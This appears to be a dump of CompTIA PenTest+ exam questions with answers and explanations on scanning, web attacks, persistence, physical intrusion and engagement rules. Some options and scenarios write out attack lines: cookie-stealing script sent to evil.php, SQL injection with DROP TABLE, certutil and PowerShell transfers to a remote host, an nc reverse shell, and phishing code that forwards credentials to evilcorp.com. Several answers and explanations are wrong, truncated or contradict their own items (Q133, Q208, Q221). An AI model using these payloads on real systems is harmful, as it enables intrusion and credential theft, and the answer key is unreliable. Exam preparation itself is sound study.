A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

- A. John the Ripper
- B. Hydra
- C. Mimikatz
- D. Cain and Abel

**Answer:** A



**NEW QUESTION 105**

A penetration tester writes the following script:

```
#!/bin/bash
network= '10.100.100'
ports= '22 23 80 443'

for x in {1..254};
do (nc -zv $network.$x $ports );
done
```

Which of the following is the tester performing?

- A. Searching for service vulnerabilities
- B. Trying to recover a lost bind shell
- C. Building a reverse shell listening on specified ports
- D. Scanning a network for specific open ports

**Answer: D**

**Explanation:**

-z zero-I/O mode [used for scanning]

-v verbose

example output of script:

\* 10.1.1.1 : inverse host lookup failed: Unknown host (UNKNOWN) [10.0.0.1] 22 (ssh) open

(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out <https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for>

**NEW QUESTION 108**

A tester who is performing a penetration test on a website receives the following output:

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62

Which of the following commands can be used to further attack the website?

- A. <script>var adr= '../evil.php?test=' + escape(document.cookie);</script>
- B. ../../../../../../../../../../etc/passwd
- C. /var/www/html/index.php;whoami
- D. 1 UNION SELECT 1, DATABASE(),3-

**Answer: D**

**NEW QUESTION 111**

A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

- A. OWASP Top 10
- B. MITRE ATT&CK framework
- C. NIST Cybersecurity Framework
- D. The Diamond Model of Intrusion Analysis

**Answer: B**

**Explanation:**

The MITRE ATT&CK framework is a methodology that should be used to best meet the client's expectations. The MITRE ATT&CK framework is a knowledge base of adversary tactics, techniques, and procedures (TTPs) that are continuously updated based on real-world observations. The framework covers a wide variety of enterprise systems and networks, such as Windows, Linux, macOS, cloud, mobile, and network devices. The framework can help the penetration tester to emulate realistic threats and identify gaps in defenses.

**NEW QUESTION 115**

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.

**Answer: B**

**Explanation:**

The most likely explanation for what occurred is that the tester IP was blocked by the web server. The web server may have detected the web scanner as a malicious or suspicious activity and blocked the tester's IP address from accessing the web application. This could result in an unauthorized to view this page message in the browser.

**NEW QUESTION 118**

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

- A. nmap -f -sV -p80 192.168.1.20
- B. nmap -sS -sL -p80 192.168.1.20

- C. nmap -A -T4 -p80 192.168.1.20  
D. nmap -O -v -p80 192.168.1.20

**Answer:** C

**Explanation:**

This command will scan the host 192.168.1.20 on port 80 using the following options:

- -A: This option enables OS detection, version detection, script scanning, and traceroute. This will help to determine if the host is running an approved version of Linux and a patched version of Apache, as well as other information about the host and the network path.
- -T4: This option sets the timing template to aggressive, which speeds up the scan by increasing the number of parallel probes, reducing the timeouts, and assuming faster responses.
- -p80: This option specifies the port to scan, which is 80 in this case. Port 80 is commonly used for HTTP services, such as Apache web server.

**NEW QUESTION 122**

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

- A. Prying the lock open on the records room  
B. Climbing in an open window of the adjoining building  
C. Presenting a false employee ID to the night guard  
D. Obstructing the motion sensors in the hallway of the records room

**Answer:** B

**Explanation:**

The terms of engagement state that the penetration test should not include circumventing the alarm or performing destructive entry, which rules out options A and D. Option C is also not allowed, as it involves social engineering, which is not part of the scope. Option B is the only one that does not violate the terms of engagement, as it uses an open door from an adjoining building to gain access to the records room. This can help the penetration tester to test the physical security of the electronic records without breaking any rules.

**NEW QUESTION 126**

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

- A. MSA  
B. NDA  
C. SOW  
D. ROE

**Answer:** B

**NEW QUESTION 129**

A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:

```
nmap -O -A -sS -p- 100.100.100.50
```

Nmap returned that all 65,535 ports were filtered.

Which of the following MOST likely occurred on the second scan?

- A. A firewall or IPS blocked the scan.  
B. The penetration tester used unsupported flags.  
C. The edge network device was disconnected.  
D. The scan returned ICMP echo replies.

**Answer:** A

**NEW QUESTION 130**

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

- A. "cisco-ios" "admin+1234"  
B. "cisco-ios" "no-password"  
C. "cisco-ios" "default-passwords"  
D. "cisco-ios" "last-modified"

**Answer:** B

**NEW QUESTION 133**

During an assessment, a penetration tester found a suspicious script that could indicate a prior compromise. While reading the script, the penetration tester noticed the following lines of code:

```
import subprocess
subprocess.call("ifconfig eth0 down", Shell=True)
subprocess.call("ifconfig eth0 hw ether 2a:33:41:56:21:34", Shell=True)
subprocess.call("ifconfig eth0 up", Shell=True)
```

Which of the following was the script author trying to do?

- A. Spawn a local shell.
- B. Disable NIC.
- C. List processes.
- D. Change the MAC address

**Answer:** A

**Explanation:**

s for what the script author was trying to do.

#### NEW QUESTION 135

A company that develops embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

**Answer:** A

#### NEW QUESTION 136

Which of the following OSSTM testing methodologies should be used to test under the worst conditions?

- A. Tandem
- B. Reversal
- C. Semi-authorized
- D. Known environment

**Answer:** D

**Explanation:**

The OSSTM testing methodology that should be used to test under the worst conditions is known environment, which is a testing approach that assumes that the tester has full knowledge of the target system or network, such as its architecture, configuration, vulnerabilities, or defenses. A known environment testing can simulate a worst-case scenario, where an attacker has gained access to sensitive information or insider knowledge about the target, and can exploit it to launch more sophisticated or targeted attacks. A known environment testing can also help identify the most critical or high-risk areas of the target, and provide recommendations for improving its security posture. The other options are not OSSTM testing methodologies that should be used to test under the worst conditions. Tandem is a testing approach that involves two testers working together on the same target, one as an attacker and one as a defender, to simulate a realistic attack scenario and evaluate the effectiveness of the defense mechanisms. Reversal is a testing approach that involves switching roles between the tester and the client, where the tester acts as a defender and the client acts as an attacker, to assess the security awareness and skills of the client. Semi-authorized is a testing approach that involves giving partial or limited authorization or access to the tester, such as a user account or a network segment, to simulate an attack scenario where an attacker has compromised a legitimate user or device.

#### NEW QUESTION 138

A penetration tester conducted an assessment on a web server. The logs from this session show the following:

`http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -`

Which of the following attacks is being attempted?

- A. Clickjacking
- B. Session hijacking
- C. Parameter pollution
- D. Cookie hijacking
- E. Cross-site scripting

**Answer:** C

#### NEW QUESTION 140

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

- A. Aircrack-ng
- B. Wireshark
- C. Wifite
- D. Kismet

**Answer:** A



**Explanation:**

Aircrack-ng is a suite of tools that allows the penetration tester to test the effectiveness of the wireless IDS solutions by performing various attacks on wireless networks, such as cracking WEP and WPA keys, capturing and injecting packets, deauthenticating clients, or creating fake access points. Aircrack-ng can also generate different types of traffic and signatures that can trigger the wireless IDS alerts or responses, such as ARP requests, EAPOL frames, or beacon frames.

**NEW QUESTION 142**

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

- A. nmap -sn --exclude 10.1.1.15 10.1.1.0/24 -oA target.txt
- B. nmap -iR 10.0X out.xml | grep Nmap | cut -d "f5" -> live-hosts.txt
- C. nmap -PnsV -O -iL target.txt -A target\_text\_Service
- D. nmap -sSPn -n -iL target.txt -A target.txtl

**Answer:** A

**Explanation:**

According to the Official CompTIA PenTest+ Self-Paced Study Guide<sup>1</sup>, the correct answer is A. `nmap -sn -n --exclude 10.1.1.15 10.1.1.0/24 -oA target.txt`.

This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine's IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target.txt (-oA).

**NEW QUESTION 145**

During the assessment of a client's cloud and on-premises environments, a penetration tester was able to gain ownership of a storage object within the cloud environment using the..... premises credentials. Which of the following best describes why the tester was able to gain access?

- A. Federation misconfiguration of the container
- B. Key mismanagement between the environments
- C. IaaS failure at the provider
- D. Container listed in the public domain

**Answer:** A

**Explanation:**

The best explanation for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials is federation misconfiguration of the container. Federation is a process that allows users to access multiple systems or services with a single set of credentials, by using a trusted third-party service that authenticates and authorizes the users. Federation can enable seamless integration between cloud and on-premises environments, but it can also introduce security risks if not configured properly. Federation misconfiguration of the container can allow an attacker to access the storage object with the on-premises credentials, if the container trusts the on-premises identity provider without verifying its identity or scope. The other options are not valid explanations for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials. Key mismanagement between the environments is not relevant to this issue, as it refers to a different scenario involving encryption keys or access keys that are used to protect or access data or resources in cloud or on-premises environments. IaaS failure at the provider is not relevant to this issue, as it refers to a different scenario involving infrastructure as a service (IaaS), which is a cloud service model that provides virtualized computing resources over the internet. Container listed in the public domain is not relevant to this issue, as it refers to a different scenario involving container visibility or accessibility from public networks or users.

**NEW QUESTION 147**

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing
- B. Tailgating
- C. Baiting
- D. Shoulder surfing

**Answer:** C

**NEW QUESTION 149**

Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

- A. To provide feedback on the report structure and recommend improvements
- B. To discuss the findings and dispute any false positives
- C. To determine any processes that failed to meet expectations during the assessment
- D. To ensure the penetration-testing team destroys all company data that was gathered during the test

**Answer:** C

**NEW QUESTION 153**

Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

- A. Executive summary of the penetration-testing methods used
- B. Bill of materials including supplies, subcontracts, and costs incurred during assessment
- C. Quantitative impact assessments given a successful software compromise
- D. Code context for instances of unsafe type-casting operations

**Answer:** D

**Explanation:**

Code context for instances of unsafe type-casting operations would most likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience, as it would provide relevant and actionable information for the developers to fix the vulnerabilities. Type-casting is the process of converting one data type to another, such as an integer to a string. Unsafe type-casting can lead to errors, crashes, or security issues, such as buffer overflows or code injection.

**NEW QUESTION 154**

A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

- A. Add a dependency checker into the tool chain.
- B. Perform routine static and dynamic analysis of committed code.
- C. Validate API security settings before deployment.
- D. Perform fuzz testing of compiled binaries.

**Answer:** A

**Explanation:**

Adding a dependency checker into the tool chain is the best recommendation for the company that has been including vulnerable third-party modules in multiple products. A dependency checker is a tool that analyzes the dependencies of a software project and identifies any known vulnerabilities or outdated versions. This can help the developers to update or replace the vulnerable modules before deploying the products.

**NEW QUESTION 157**

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( <https://nmap.org> ) at 2021-01-24 01:10 EST Nmap scan report for ( 10.2.1.22 )

Host is up (0.0102s latency). Not shown: 998 filtered ports Port State Service

80/tcp open http

|\_http-title: 80F 22% RH 1009.1MB (text/html)

|\_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

**Answer:** BD

**Explanation:**

<https://www.netscout.com/what-is-ddos/slowloris-attacks>

From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

**NEW QUESTION 160**

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

- A. Certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- B. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- C. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- D. Wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe

**Answer:** A

**Explanation:**

<https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-downloading-accesschk64-exe/>

--- <https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk>

The certutil command is a Windows utility that can be used to manipulate certificates and certificate authorities. However, it can also be abused by attackers to download files from remote servers using the -urlcache option. In this case, the command downloads accesschk64.exe from http://192.168.2.124/windows-binaries/ and saves it locally. Accesschk64.exe is a tool that can be used to check service permissions and identify potential privilege escalation vectors. The other commands are not relevant for this purpose. Powershell is a scripting language that can be used to perform various tasks, but in this case it uploads a file instead of downloading one. Schtasks is a command that can be used to create or query scheduled tasks, but it does not help with service permissions. Wget is a Linux command that can be used to download files from the web, but it does not work on Windows by default.

**NEW QUESTION 165**

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

- A. Weekly

- B. Monthly
- C. Quarterly
- D. Annually

**Answer:** C

**Explanation:**

Quarterly is the minimum frequency to complete the scan of the system that is PCI DSS v3.2.1 compliant, according to Requirement 11.2.2 of the standard<sup>1</sup>. PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards that applies to any organization that processes, stores, or transmits credit card information. Requirement 11.2.2 states that organizations must perform internal vulnerability scans at least quarterly and after any significant change in the network.

<https://www.pcicomplianceguide.org/faq/#25>

PCI DSS requires quarterly vulnerability/penetration tests, not weekly.

**NEW QUESTION 169**

A penetration tester needs to access a building that is guarded by locked gates, a security team, and cameras. Which of the following is a technique the tester can use to gain access to the IT framework without being detected?

- A. Pick a lock.
- B. Disable the cameras remotely.
- C. Impersonate a package delivery worker.
- D. Send a phishing email.

**Answer:** C

**NEW QUESTION 170**

A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

- A. Weak authentication schemes
- B. Credentials stored in strings
- C. Buffer overflows
- D. Non-optimized resource management

**Answer:** C

**Explanation:**

fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues

**NEW QUESTION 171**

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Use John the Ripper to crack the password.
- D. Utilize a pass-the-hash attack.

**Answer:** D

**NEW QUESTION 176**

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

- A. security compliance regulations or laws may be violated.
- B. testing can make detecting actual APT more challenging.
- C. testing adds to the workload of defensive cyber- and threat-hunting teams.
- D. business and network operations may be impacted.

**Answer:** D

**NEW QUESTION 177**

Which of the following is a rules engine for managing public cloud accounts and resources?

- A. Cloud Custodian
- B. Cloud Brute
- C. Pacu
- D. Scout Suite

**Answer:** A

**Explanation:**

Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.

Cloud Custodian is a tool that can be used to manage public cloud accounts and resources. Cloud Custodian can define policies and rules for cloud resources based on various criteria, such as tags, filters, actions, modes, or schedules. Cloud Custodian can enforce compliance, governance, security, cost optimization,



and operational efficiency for cloud resources. Cloud Custodian supports multiple public cloud providers, such as AWS, Azure, GCP, and Kubernetes. Cloud Brute is a tool that can be used to enumerate cloud platforms and discover hidden files and buckets. Pacu is a tool that can be used to exploit AWS environments and perform post-exploitation actions. Scout Suite is a tool that can be used to audit cloud environments and identify security issues.

**NEW QUESTION 180**

Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?

- A. Wireshark
- B. EAPHammer
- C. Kismet
- D. Aircrack-ng

**Answer:** D

**Explanation:**

The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

**NEW QUESTION 183**

A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

- A. Crawling the web application's URLs looking for vulnerabilities
- B. Fingerprinting all the IP addresses of the application's servers
- C. Brute forcing the application's passwords
- D. Sending many web requests per second to test DDoS protection

**Answer:** D

**NEW QUESTION 187**

A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

- A. Hashcat
- B. Mimikatz
- C. Patator
- D. John the Ripper

**Answer:** C

**Explanation:**

<https://www.kali.org/tools/patator/>

**NEW QUESTION 190**

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to <https://example.com/index.html>. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',
  type: 'POST', dataType: 'html',
  data: {Email: emv, password: psv},
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

- A. window.location.= 'https://evilcorp.com'
- B. crossDomain: true
- C. getUrlparameter ('username')
- D. redirectUrl = 'https://example.com'

**Answer:** B

**NEW QUESTION 194**

Which of the following tools provides Python classes for interacting with network protocols?

- A. Responder
- B. Impacket
- C. Empire
- D. PowerSploit

**Answer:** B

**Explanation:**

Impacket is a tool that provides Python classes for interacting with network protocols, such as SMB, DCE/RPC, LDAP, Kerberos, etc. Impacket can be used for network analysis, packet manipulation, authentication spoofing, credential dumping, lateral movement, and remote execution.

**NEW QUESTION 196**

During enumeration, a red team discovered that an external web server was frequented by employees. After compromising the server, which of the following attacks would best support -----company systems?

- A. Aside-channel attack
- B. A command injection attack
- C. A watering-hole attack
- D. A cross-site scripting attack

**Answer:** C

**Explanation:**

The best attack that would support compromising company systems after compromising an external web server frequented by employees is a watering-hole attack, which is an attack that involves compromising a website that is visited by a specific group of users, such as employees of a target company, and injecting malicious code or content into the website that can infect or exploit the users' devices when they visit the website. A watering-hole attack can allow an attacker to compromise company systems by targeting their employees who frequent the external web server, and taking advantage of their trust or habit of visiting the website. A watering-hole attack can be performed by using tools such as BeEF, which is a tool that can hook web browsers and execute commands on them<sup>2</sup>. The other options are not likely attacks that would support compromising company systems after compromising an external web server frequented by employees. A side-channel attack is an attack that involves exploiting physical characteristics or implementation flaws of a system or device, such as power consumption, electromagnetic radiation, timing, or sound, to extract sensitive information or bypass security mechanisms. A command injection attack is an attack that exploits a vulnerability in a system or application that allows an attacker to execute arbitrary commands on the underlying OS or shell. A cross-site scripting attack is an attack that exploits a vulnerability in a web application that allows an attacker to inject malicious scripts into web pages that are viewed by other users.

**NEW QUESTION 199**

A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?

- A. Tailgating
- B. Dumpster diving
- C. Shoulder surfing
- D. Badge cloning

**Answer:** D

**NEW QUESTION 204**

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

**Answer:** D

**NEW QUESTION 205**

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

- A. Create a one-shot system service to establish a reverse shell.
- B. Obtain /etc/shadow and brute force the root password.
- C. Run the `nc -e /bin/sh <...>` command.
- D. Move laterally to create a user account on LDAP

**Answer:** A

**Explanation:**

<https://hosakacorp.net/p/systemd-user.html>

Creating a one-shot system service to establish a reverse shell is a technique that would best support maintaining persistence after reboot on a Linux-based file server. A system service is a program that runs in the background and performs various tasks without user interaction. A one-shot system service is a type of service that runs only once and then exits. A reverse shell is a type of shell that connects back to an attacker-controlled machine and allows remote command execution. By creating a one-shot system service that runs a reverse shell script at boot time, the penetration tester can ensure persistent access to the file server even after reboot.

**NEW QUESTION 208**

Given the following script: `while True:  
print ("Hello World")`  
Which of the following describes True?

- A. A while loop
- B. A conditional

- C. A Boolean operator
- D. An arithmetic operator

**Answer:** C

**Explanation:**

True is a Boolean operator in Python, which is an operator that returns either True or False values based on logical conditions. Boolean operators can be used in expressions or statements that evaluate to True or False values, such as comparisons, assignments, or loops. In the code, True is used as the condition for a while loop, which is a loop that repeats a block of code as long as the condition is True. The code will print "Hello World" indefinitely because True will always be True and the loop will never end. The other options are not valid descriptions of True.

**NEW QUESTION 211**

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

- A. A signed statement of work
- B. The correct user accounts and associated passwords
- C. The expected time frame of the assessment
- D. The proper emergency contacts for the client

**Answer:** A

**Explanation:**

According to the CompTIA PenTest+ Study Guide, Exam PT0-0021, a statement of work (SOW) is a document that defines the scope, objectives, deliverables, and terms of a penetration testing project. It is a formal agreement between the service provider and the client that specifies what is expected from both parties, including the timeline, budget, resources, and responsibilities. A SOW is essential for any penetration testing engagement, as it helps to avoid misunderstandings, conflicts, and legal issues.

The CompTIA PenTest+ Study Guide also provides an example of a SOW template that covers the following sections1:

- Project overview: A brief summary of the project's purpose, scope, objectives, and deliverables.
- Project scope: A detailed description of the target system, network, or application that will be tested, including the boundaries, exclusions, and assumptions.
- Project objectives: A clear statement of the expected outcomes and benefits of the project, such as identifying vulnerabilities, improving security posture, or complying with regulations.
- Project deliverables: A list of the tangible products or services that will be provided by the service provider to the client, such as reports, recommendations, or remediation plans.
- Project timeline: A schedule of the project's milestones and deadlines, such as kickoff meeting, testing phase, reporting phase, or closure meeting.
- Project budget: A breakdown of the project's costs and expenses, such as labor hours, travel expenses, tools, or licenses.
- Project resources: A specification of the project's human and technical resources, such as team members, roles, responsibilities, skills, or equipment.
- Project terms and conditions: A statement of the project's legal and contractual aspects, such as confidentiality, liability, warranty, or dispute resolution.

The CompTIA PenTest+ Study Guide also explains why having a SOW is important before starting an assessment1:

- It establishes a clear and mutual understanding of the project's scope and expectations between the service provider and the client.
- It provides a basis for measuring the project's progress and performance against the agreed-upon objectives and deliverables.
- It protects both parties from potential risks or disputes that may arise during or after the project.

**NEW QUESTION 215**

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

- A. OpenVAS
- B. Drozer
- C. Burp Suite
- D. OWASP ZAP

**Answer:** A

**Explanation:**

OpenVAS is a full-featured vulnerability scanner. OWASP ZAP = Burp Suite

Drozer (Android) = drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

**NEW QUESTION 216**

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial\_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manager/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

**Answer:** D

**NEW QUESTION 220**

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?



- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Interview all stakeholders.
- D. Identify all third parties involved.

**Answer:** A

**Explanation:**

Clarifying the statement of work is one of the most important items to develop fully prior to beginning the penetration testing activities, as it defines the scope, objectives, deliverables, and expectations of the engagement. The statement of work is a formal document that outlines the agreement between the penetration tester and the client and serves as a reference for both parties throughout the engagement. It should include details such as the type, duration, and frequency of testing, the target systems and networks, the authorized methods and tools, the reporting format and schedule, and any legal or ethical considerations.

**NEW QUESTION 221**

A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following:

```
netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.1.1.24:48850 24.176.9.43:59036 ESTABLISHED
tcp 0 0 0.0.0.0:22 :0.0.0.0* LISTEN
tcp 0 0 10.1.1.24:50112 136.12.56.217:58003 ESTABLISHED
tcp 0 0 10.1.1.24:80 115.93.193.245:40243 ESTABLISHED
tcp 0 0 10.1.1.24:80 210.117.12.2:40252 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 10.1.1.24:161 0.0.0.0:*
```

Which of the following should the penetration tester do NEXT?

- A. Close the reverse shell the tester is using.
- B. Note this finding for inclusion in the final report.
- C. Investigate the high numbered port connections.
- D. Contact the client immediately.

**Answer:** C

**Explanation:**

The image shows the output of the netstat -antu command, which displays active internet connections for the TCP and UDP protocols. The output shows that there are four established TCP connections and two listening UDP connections on the host. The established TCP connections have high numbered ports as their local addresses, such as 49152, 49153, 49154, and 49155. These ports are in the range of ephemeral ports, which are dynamically assigned by the operating system for temporary use by applications or processes. The foreign addresses of these connections are also high numbered ports, such as 4433, 4434, 4435, and 4436. These ports are not well-known or registered ports for any common service or protocol. The combination of high numbered ports for both local and foreign addresses suggests that these connections are suspicious and may indicate a backdoor or a covert channel on the host. Therefore, the penetration tester should investigate these connections next to determine their nature and purpose. The other options are not appropriate actions for the penetration tester at this stage.

**NEW QUESTION 223**

A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?

- A. Situational awareness
- B. Rescheduling
- C. DDoS defense
- D. Deconfliction

**Answer:** D

**Explanation:**

<https://redteam.guide/docs/definitions/>

Deconfliction is the process of coordinating activities and communicating information to avoid interference, confusion, or conflict among different parties involved in an operation. The network engineer contacted the penetration tester to check if the GET requests were part of the test, and to avoid any potential misunderstanding or disruption of the test or the website. The other options are not related to the purpose of checking with the penetration tester.

**NEW QUESTION 225**

A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

- A. Badge cloning
- B. Dumpster diving
- C. Tailgating
- D. Shoulder surfing

**Answer:** B

**NEW QUESTION 226**

The following line-numbered Python code snippet is being used in reconnaissance:

```
...
<LINE NUM.>
<01> portList: list[int] = [*range(1, 1025)]
<02> random.shuffle(portList)
<03> try:
<04>     port: int
<05>     resultList: list[int] = []
<06>     for port on portList:
<07>         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
<08>         sock.settimeout(0.01)
<09>         result = sock.connect_ex((remoteSvr, port))
<10>         if result == 0:
<11>             resultList.append(port)
<12>         sock.close()
...
```

Which of the following line numbers from the script MOST likely contributed to the script triggering a “probable port scan” alert in the organization’s IDS?

- A. Line 01
- B. Line 02
- C. Line 07
- D. Line 08

**Answer: D**

**NEW QUESTION 229**

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

- A. PLCs will not act upon commands injected over the network.
- B. Supervisors and controllers are on a separate virtual network by default.
